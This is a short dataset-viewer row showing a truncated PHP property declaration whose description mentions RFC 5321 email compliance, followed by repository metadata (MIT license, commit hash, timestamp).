public ?string $description /** @lang Markdown */
= 'A [RFC 5321](https://tools.ietf.org/html/rfc5321) compliant ... | php | MIT | a8acdfedfc0559fdefef7c880f534a2bb398635b | 2026-01-05T04:11:06.032588Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.